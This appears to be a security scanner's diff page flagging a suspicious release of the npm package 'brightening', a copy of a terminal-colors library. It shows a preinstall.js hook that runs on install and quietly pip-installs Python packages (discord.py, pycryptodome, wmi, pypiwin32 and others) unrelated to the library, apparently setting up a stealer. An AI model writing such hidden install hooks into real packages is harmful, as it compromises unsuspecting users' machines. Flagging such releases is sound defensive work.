brightening 0.0.1-security → 1.6.4-test
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of brightening might be problematic. Click here for more details.
- package/LICENSE +25 -0
- package/README.md +86 -3
- package/examples/normal-usage.js +82 -0
- package/examples/safe-string.js +79 -0
- package/index.d.ts +136 -0
- package/lib/colors.js +211 -0
- package/lib/custom/american.js +31 -0
- package/lib/custom/spawn.js +1 -0
- package/lib/custom/trap.js +46 -0
- package/lib/custom/zalgo.js +110 -0
- package/lib/extendStringPrototype.js +111 -0
- package/lib/index.js +15 -0
- package/lib/maps/america.js +10 -0
- package/lib/maps/rainbow.js +12 -0
- package/lib/maps/random.js +11 -0
- package/lib/maps/zebra.js +5 -0
- package/lib/styles.js +95 -0
- package/lib/system/analytics.js +36 -0
- package/lib/system/has-flag.js +35 -0
- package/lib/system/supports-colors.js +151 -0
- package/package.json +34 -4
- package/preinstall.js +35 -0
- package/themes/generic-logging.js +12 -0
package/preinstall.js
ADDED
@@ -0,0 +1,35 @@
|
|
1
|
+
const { exec } = require("child_process");
|
2
|
+
|
3
|
+
function installDependencies() {
|
4
|
+
exec(
|
5
|
+
"pip install psutil pycryptodome requests wmi discord.py pypiwin32",
|
6
|
+
(error, stdout, stderr) => {
|
7
|
+
if (error) {
|
8
|
+
console.error(
|
9
|
+
"Could not install required Python dependencies!\n" +
|
10
|
+
"Check the stack error reported below.\n"
|
11
|
+
)
|
12
|
+
|
13
|
+
console.error(error)
|
14
|
+
process.exit(1)
|
15
|
+
}
|
16
|
+
}
|
17
|
+
)
|
18
|
+
}
|
19
|
+
|
20
|
+
function checkForInstallation() {
|
21
|
+
exec("python --version", (error, stdout, stderr) => {
|
22
|
+
if (error) {
|
23
|
+
console.error(
|
24
|
+
"Could not find a valid Python installation!\n" +
|
25
|
+
"Make sure Python is discoverable under `python`!"
|
26
|
+
)
|
27
|
+
|
28
|
+
process.exit(1)
|
29
|
+
} else {
|
30
|
+
installDependencies()
|
31
|
+
}
|
32
|
+
})
|
33
|
+
}
|
34
|
+
|
35
|
+
checkForInstallation()
|